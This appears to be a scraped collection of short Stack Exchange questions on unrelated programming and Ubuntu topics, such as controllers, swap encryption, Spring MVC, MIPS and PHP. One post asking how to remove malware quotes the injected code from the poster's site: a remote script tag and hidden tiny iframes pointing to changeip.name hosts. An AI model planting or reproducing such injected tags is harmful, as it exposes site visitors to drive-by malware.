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  • How can I get six Xbox controllers to provide input to an HTML5 game?

    - by Daniel X Moore
    I'm creating a six player HTML 5 game designed to be played locally (Red Ice). I've previous set up handling 7 Wiimotes using something along the lines of Joy2Key to map each input for each player to a separate keyboard key, but Wiimotes are pretty hard on the hands for these types of games and not very ergonomic so I thought I'd try and get Xbox controller support. I don't believe that any simple key mapping solution will work due to the nature of the directional stick. My inclination is that this will require a browser plugin and if so I'd prefer to write the plugin for Google Chrome. How do I create a Chrome browser plugin to handle multiple Xbox controllers or is there some other way? Please do not answer this question saying it can't be done, because it absolutely can. EDIT: I don't believe any keymapping/mouse simulating solution will work unless it can reliably distinguish six axis of inputs, one per player.

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  • How to disable cryptswap?

    - by mit
    How can I disable cryptswap? I would like an unencrypted swap like before. This is on an ubuntu 9.10 system. It worked. First I removed the lines from /etc/fstab and /etc/crypttab. But it was not possible (and maybe not necessary?) to use the command sudo cryptsetup remove crytswap1 Before rebooting it was not possible (because cryptswap1 was still in use) and after rebooting cryptswap1 was already inactive. I removed cryptsetup from the system afterwards: sudo aptitude remove cryptsetup

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  • What is the best drink to drink when you have read nonsense questions on programmers?

    - by stefan
    I am having a hard time deciding what drink to drink after I have read a nonsense question on programmers.stackexchange. It's either Beer och Whisky; The beer is nice since you can down it some what relaxed but some times I feel the need for something "stronger" because the question is so utterly nonsense and stupid. Every time I have read a stupid / nonsense question on programmers.stackexchange.com I've questioned myself why I didnt write some code instead. I couldve probably written countless lines of codes, together probably building a new Facebook or Linux by now. But instead I sacrificed my precious time reading questions that shouldn't have been posted on the internet. It really makes me frustrating, I guess that is why I am so often considering the whisky part instead of beer. Since beer will maybe not calm me down enough and then I have to take the whisky too, together it's a) slightly more expensive and b) more time consuming. So, what is the best drink?

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  • Spring MVC vs raw servlets and template engine?

    - by Gigatron
    I've read numerous articles about the Spring MVC framework, and I still can't see the benefits of using it. It looks like writing even a simple application with it requires creating a big hodgepodge of XML files and annotations and other reams of code to conform to what the framework wants, a whole bunch of moving parts to accomplish a simple single task. Any time I look at a Spring example, I can see how I can write something with the same functionality using a simple servlet and template engine (e.g. FreeMarker, StringTemplate), in half the lines of code and little or no XML files and other artifacts. Just grab the data from the session and request, call the application domain objects if necessary, pass the results to the template engine to generate the resulting web page, done. What am I missing? Can you describe even one example of something that is actually made simpler with Spring than using a combination of raw servlets with a template engine? Or is Spring MVC just one of those overly complicated things that people use only because their boss tells them to use it?

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  • Object-Oriented Operating System

    - by nmagerko
    As I thought about writing an operating system, I came across a point that I really couldn't figure out on my own: Can an operating system truly be written in an Object-Oriented Programming (OOP) Language? Being that these types of languages do not allow for direct accessing of memory, wouldn't this make it impossible for a developer to write an entire operating system using only an OOP Language? Take, for example, the Android Operating System that runs many phones and some tablets in use around the world. I believe that this operating system uses only Java, an Object-Oriented language. In Java, I have been unsuccessful in trying to point at and manipulate a specific memory address that the run-time environment (JRE) has not assigned to my program implicitly. In C, C++, and other non-OOP languages, I can do this in a few lines. So this makes me question whether or not an operating system can be written in an OOP, especially Java. Any counterexamples or other information is appreciated.

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  • I can't program because old coding style. This is normal to programmers?

    - by Renato Dinhani Conceição
    I'm in my first real job as programmer, but I can't solve any problems because of the coding style used. The code here: don't have comments don't have functions (50, 100, 200, 300 or more lines executed in sequence) uses a lot of if statements with a lot of paths has variables that make no sense (eg.: cf_cfop, CF_Natop, lnom, r_procod) uses a language I am unfamiliar with (Visual FoxPro 8 from 2002) I feel like I have gone back to 1970. Is it normal for a programmer familiar with OOP, clean-code, design patterns, etc. to have trouble with coding in this old-fashion way?

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  • Are there plans to use the empty space in the SoundMenu?

    - by Kyle Clarke
    There seems to be roughly 4 lines of space next to the album art. However only 3 are used. Song Title Artist Album If nothing is planned for the 4th line. I propose that it is used for track time/length. This way you can tell how far along a song is without the need of a scrub bar. Unrelated, but I feel that the play-lists section should display how many songs are in that play list. Some of my play lists have no songs, and without realising this, it seems like a bug that the songs wont play.

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  • Transition from maintenance programming to design

    - by andrew wang
    What to do people do develop a design for a s/w for a given set of requirements? I like many people joined a Semiconductor MNC and got stuck in maintenance for quite a couple of years. My work was usually changing a lines of code for windows drivers supplied by my company or a couple of small script (style like) C programs for validating h/w. As a result I developed the bad habit of 'programming by coincidence'. I have not developed the ability for designing tools/programs from scratch. I was the only s/w member of the local team and thus some grunt work from the well established other site of the company came to be done by me. Now I have moved to a different company and thus finding developing from scratch very difficult. How do I unlearn my bad habit and develop this ability of designing s/w and then coding it ?

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  • Getting rid of getting stuck often [closed]

    - by Pankaj Upadhyay
    I have been working with C# and .NET for around 2-3 years. But, still i get stuck too often. My project includes few simple websites(asp.net) in the early parts and then a desktop application for cotton transaction management(wpf). And right now, I am building a price compare website (asp.net MVC). Along the lines, I have read quite few books on C# and .NET, but still I get stuck very often. What pisses me is that the problems I get stuck in aren't very typical or hard. You can get a better idea by visiting my questions page on SO. After looking at my question lists, do you also feel that my basis or knowledge as a programmer are weak ? If so, How can i find a remedy to this problem ? And How can I stop getting stuck too often for simpler problems.

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  • Transiltion from maintenance programing to design

    - by andrew wang
    What to do guys do develop a design for a s/w for a given set of requirements? I like many people joined a Semiconductor MNC and got stuck in maintenance for quite a couple of years. My work was usually changing a lines of code for windows drivers supplied by my company or a couple of small script (style like) C programs for validating h/w. As a result I developed the bad habit of 'programming by coincidence'. I have not developed the ability for designing tools/programs from scratch. I was the only s/w member of the local team and thus some grunt work from the well established other site of the company came to be done by me. Now I have moved to a different company and thus finding developing from scratch very difficult. How do I unlearn my bad habit and develop this ability of designing s/w and then coding it ?

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  • mips number of clock cycles and how improving code

    - by Hooman
    I'm really new in MIPS and I have these questions which I found so many dissimil answers for them ... if someone can help, it would be great. Thanks How many clock cycles does this code take? #Macro Instructions li $t0, 32 # 1 or 2 cycles ? # lui $at, Upper 16-bits of value # ori Rd, $at, Lower 16-bits of value # ----------------------------------- # ori Rt, $0, value # # Which set of instructions will be executed? div $t2, $t2, $t0 # 41 cycles? # bne Rt, $0, # break $0 # ok: div Rs, Rt # mflo Rd #Integer Instruction lw $t2, 0($t13) # 1 cycles? sw $t2, 0($t3) # 1 cycles? How those 4 lines of codes can be significantly improved? by avoiding to use Macros or ... ?

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  • org.openide.awt.ColorComboBox

    - by Geertjan
    It's the time of year when a lot of NetBeans Platform tutorials are being reviewed, revised, and rewritten. Today I'm looking at the NetBeans Platform Paint Application Tutorial. Suddenly I remembered seeing something in a recent API Changes document about a new class, ColorComboBox. That means I can make the tutorial a lot simpler, since Tim Boudreau's external ColorChooser.jar is now superfluous. Here's what the ColorComboBox looks like: It works perfectly. Of course, the nice thing about using that JAR was that it showed the user how to incorporate external JARs, but I'll make sure to make a note of that in the tutorial, along the lines of "If you don't like the NetBeans Platform color combobox, and would like to replace it with your own, such as Tim's ColorChooser.jar or a JavaFX color chooser, take the following steps." In short, if you're using NetBeans APIs, write this on your ceiling above your bed: http://bits.netbeans.org/dev/javadoc/apichanges.html, check that page regularly (mark it in your calendar to do first thing every Monday morning) and you'll be aware of the latest changes as they happen.

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  • The Calmest IT Guy in the World

    - by Markus Weber
    Unplanned outages and downtime still result not only in major productivity losses, but also major financial losses. Along the same lines, if zero planned downtime and zero data loss are key to your IT environment and your business requirements, planning for those becomes very important, all while balancing between performance, high availability, and cost. Oracle Database High Availability technologies will help you achieve these mission-critical goals, and are reflected in Oracle's best practices offerings of the Maximum Availability Architecture, or MAA. We created three neat, short videos showcasing some typical use cases, and highlighting three important components (amongst many more) of MAA: Oracle Real Application Clusters (RAC) Oracle Active Data Guard Oracle Flashback Technologies Make sure to watch those videos here, and learn about challenges, and solutions, around High Availability database environments from a recent Independent Oracle Users Group (IOUG) survey. 

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  • libgdx - removing the circle outline rendered on Box2d CircleShape

    - by Brett
    How can I remove the outline on the circleshape below.. CircleShape circle = new CircleShape(); circle.setRadius(1f); ... using ... batch.draw(textureRegion, position.x - 1, position.y - 1, 1f, 1f, 2, 2, 1, 1, angle); I use this to set the body for a Box2d collision but I get a silly circle shape around my texture in libGdx, i.e. my textured sprite (ball) has a circle over the top of it with a line running from center along the radius. Any ideas on how to remove the overlying circle lines?

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  • How to preseed 12.10 desktop when the ubuntu-desktop package is missing?

    - by user183394
    I have been trying to use a preseed file to do PXE booting of a 12.10 desktop. Upon the first boot, I was greeted by a terminal with login prompt. Surprised, I checked the /var/log/installer/syslog but didn't find a trace of desktop installation. Feeling curious, I double-checked the content of the loop mounted iso file, and realized that the ubuntu-desktop package that existed up to 12.04.1 is no longer available. So, the following preseed lines from the Ubuntu preseed example no longer apply: ################################################################################ ### Package selection ### ################################################################################ # Selected packages. tasksel tasksel/first multiselect ubuntu-desktop #tasksel tasksel/first multiselect lamp-server, print-server #tasksel tasksel/first multiselect kubuntu-desktop Given such a situation, is there something that I can specify in the pre-seed file to install the entire default desktop?

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  • Rebooting problem

    - by Vinoth
    After restarting my ubuntu PC, I am getting a dialog window showing "Your system is running in low graphics mode" and after clicking on 'OK', I was prompted with three options 1. Run in low graphics mode for just one session 2. Reconfigure graphics 3. Troubleshoot the error 4. Exit to console login When I troubleshoot the error, its showing the black screen with following lines which I remember: we do not own /var/log/pm-powersave.log ....................................... couldn't write bytes: Broken pipe ....................................... ....................................... Starting System V runlevel compatibility got strucked at this point. Actually before restarting, I have changed the owner for all the files under the directory "/var/log" and "/var/lib". Is there any relation with the above issue. Please help me out to resolve the issue. Its urgent.

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  • Checker AI in visual basic not working [on hold]

    - by Eugene Galkine
    I am trying to a make checkers in visual basic with ai. I am using the minimax algorithm (or at least what I understand of it) and it works, except the ai is retarded and plays like it is trying to loose and I tried to switch around the min and the max but the results are IDENTICAL. I am pissed of and have been trying to fix it for over a week now, I would really appreciate it if someone could help me out here. I have 3 years experience of programming (in Java, only about of month of VB experience) and I always am able to solve all my errors on my own so I don't know why I can't get this to work. The program is not at all optimized or anything at this point and is over 1.2K lines long, so here is the entire vb project instead: https://www.dropbox.com/sh/evii0jendn93ir2/9fntwH2dNW I would really appreciate any help I could get.

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  • php is not working well on ubuntu 13.10 and mcrypt is missing in phpmyadmin

    - by mohamad
    I've upgraded from UBUNTU 13.04 to 13.10 but I can not work with php pages or phpmyadmin . I've tried this way to install lamp on ubuntu sudo apt-get install lamp-server^ phpmyadmin and I've done all of the configuration correctly after installation I've added this line Include /etc/phpmyadmin/apache.conf to /etc/apache2/apache2.conf then I restarted apache2 but in phpmyadmin on the bottom of the page is this error : The mcrypt extension is missing. Please check your PHP configuration I've check and mcrypt was in it , but in phpmyadmin it gives me error of missing . the other problem is on PHP pages it seems like there is no PHP and it's all html because lots of PHP lines are printed in textbox's like : <? echo $row['details']; ?> can anybody tell me what should I do ?

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  • Why don't research papers that mention custom software release the source code?

    - by Antoine
    Is there a reason why the source code of softwares mentioned in research papers is not released ? I understand that research papers are more about the general idea of accomplishing something than implementation details, but I don't get why they don't release the code. For example, in this paper ends with: Results The human line drawing system is implemented through the Qt framework in C++ using OpenGL, and runs on a 2.00 GHz Intel dual core processor workstation without any additional hardware assistance. We can interactively draw lines while the system synthesizes the new path and texture. Do they keep the source code closed intentionally because of a monetization they intend to make with it, or because of copyright ?

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  • EL 3.0 Public Review - JSR 341 and Java EE 7 Moving Along

    - by arungupta
    Following closely on the lines of EL 3.0 Early Draft, the specification is now available for a Public Review. The JCP2 Process Document defines different stages of the specifications. This review period closes Jul 30, 2012. Some of the main goals of the JSR are to separate ELContext into parsing and evaluation contexts, adding operators like equality, string concatenation, etc, and integration with CDI. The section A.7 of the specification highlights the difference between Early Draft and Public Review. Download the Public Review and and follow the updates at el-spec.java.net. For more information about EL 3.0 (JSR 341), check out the JSR project on java.net. The archives of EG discussion are available at jsr341-experts and you can subscribe to the users@el-spec and other aliases on the Mailing Lists page.

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  • Why isn't the source code of programs shown in research papers released?

    - by Antoine
    Is there a reason why the source code of programs shown in research papers are not released ? I understand that research papers are more about the general idea of accomplishing something than implementation details, but I don't get why they don't release the code. For example, in this paper ends with: Results The human line drawing system is implemented through the Qt framework in C++ using OpenGL, and runs on a 2.00 GHz Intel dual core processor workstation without any additional hardware assistance. We can interactively draw lines while the system synthesizes the new path and texture. Do they keep the source code closed intentionally because of a monetization they intend to make with it, or because of copyright ?

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  • Cocos2d and Body with few collision shapes using chipmunk

    - by Eimantas
    I'm using Cocos2d (0.99.5) with chipmunk physics engine. Currently I'm trying to place a body into space which is combined from few circle shapes. Let's say I have a corresponding sprite image with displays atom (nucleus + 3 electrons around it. Something like this without orbit lines). In it's simplest form - only one circle shape at the center should be enough which would detect collisions from other objects with nucleus. Now I'd like to add other circle shapes for each electron. How can I do that? Now when I add those shapes to the body and add the body into chipmunk space - the shapes (together with the body/sprite) start flickering and spinning with no recognizable pattern (or reason for that matter).

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  • Is there a variable width font that does not change width when adding effects like bold, italic?

    - by George Bailey
    NetBeans has a word wrap feature now - but if the font changes width when bold then it gets all jumpy and sometimes hard to work with. Edit: It turns out that even with Courier New that NetBeans word wrap still jumps up and down lines at a time at random. I guess that this question no longer cares for an answer. However,, it seems that there is no answer. (at least nobody has brought one up yet) I am currently using Comic Sans MS which gets wider when bold.

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  • How to remove this malware

    - by muratto12
    Some files in my site contains some extra lines. After I've deleted them manually, I find them corrupted again some time later. it is all coming from http://*.changeip.name/ some js files. How can I remove them? <!--pizda--><script type='text/javascript' src='http://m2.changeip.name/validate.js?ftpid=15035'></script><!--/pizda--> <iframe src=http://pizda.changeip.name/?f=1065433 framebor der=0 marginheight=0 marginwidth=0 scrolling=0 width=5 heigh t=5 border=0> <iframe src=http://kuku.changeip.name/?f=1065433 framebord er=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height =5 border=0>

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  • How should I pronounce the :: and -> in PHP?

    - by Renesis
    When I read these lines aloud to someone: $controller->process(); UserManager::getInstance(); How should the -> and :: be pronounced? Reading the characters themselves in cumbersome and I don't know of any nicknames for them. Being a developer who is used to C-style syntax, I'd like to say "dot", but I'd like something that is easy to say and people can easily understand. It would also be good to know if there are any pronunciations that have become de-facto standards among teams of developers.

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